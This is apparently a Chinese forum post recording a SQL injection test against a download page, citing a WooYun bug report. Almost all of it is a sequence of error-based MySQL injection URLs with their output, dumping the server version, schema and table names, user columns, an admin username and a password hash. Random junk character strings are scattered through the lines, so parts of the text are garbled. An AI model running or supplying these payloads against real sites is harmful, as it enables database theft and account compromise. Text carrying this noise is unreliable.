http://www.wooyun.org/bugs/wooyun-2010-01666
T* t* \5 D0 Q4 A/ B- O
! L" c: _# e* i) c之前想找个测试 没想到这有 可以测试下做个记录而已
5 K- M' o4 j2 M# j8 c8 S- c
8 j/ d$ y3 X" c+ h+ Xhttp://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_0039 t( r; g# `+ O
3 {6 t4 Q3 `$ p& X/data0/htdocs/leqi_new/app/myapp.php( \. F* n. i8 C$ C A
. h' g1 w' q2 D% K$ U
或者9 K& R0 m- i M. }4 q s
$ w& l8 G# ?$ D7 I+ T
/**********version()**********/ 5.1.49-log; Q2 Y7 I. G: S. V% T% _6 G% l
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003! \9 i* S/ e1 a( W! c$ h
8 e9 s! T/ S2 ]1 ?/**********user()**********/ , I: |2 l+ u( z
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0036 E2 ?9 ~& R3 i0 P! a2 g
- ]; h# Z) A: e: r) f% x% j' P/ k( h/**********database()**********/ leqi2 i; H7 Z+ K. a9 j f
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
+ B9 |! A" u) v2 }& Y$ V& o
! R+ }4 S) C$ G4 k/**********limit依次递归爆库**********/1 r8 m4 k3 |% e& t! U$ q
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003/ ]* O# O' x2 j$ `% u6 o) n* \
information_schema* X; U/ @' z z1 `9 z. F8 {
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
* N/ S& E# W5 T- x' Gleqi0 H y) v. k; W5 Q. A9 {
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003+ l; a# d2 X) k) Z" `
test
$ V$ }; I2 ]2 p# V. S* J0 L% t' `! R% T. E1 n( u
/**********limit依次递归爆表名**********/
+ ^( o) ?4 P8 ~http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0036 X& E. _: v% ]# ?
users
J3 C) n2 ~# Z$ {$ ~9 ]5 l/ n/ Q' E0 J0 F+ q
/**********limit依次递归爆字段名**********/! W5 Y z( F. @$ c) L$ u+ D; w
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003) e+ j* M2 y# Z/ [: F- g4 Q: x
user_id,username,nickname,passwd,group_id+ n/ o" ^9 [; r
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
7 _1 @) ?# q5 ] Y4 V) U/wapc/5000_0005_003
3 |( F7 \3 a) j g2 \/ I) X11 218 e. w7 R1 \; d' d+ ~
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
. |/ d4 y( _- ~; h/wapc/5000_0005_003' Y/ n5 F2 N0 u# ^; s& i
11 341 351 361' C+ S+ ^( F5 I$ B
/**********爆数据**********/& Z9 }* m/ Z; W. ~6 t3 p
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%239 A3 L ? m) S, c) m
admin! G' {% Z- K7 s) c0 _3 b' [3 ?1 w
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23 j: T0 _% x0 f; @9 K
6a8b4574ca231eb8bd52764d4978ffcd8 b' |2 c0 f9 `: H9 K9 l
1 A3 g- J# ~1 L0 [: G$ z
2 f' ^) K/ l. l# ^, d
|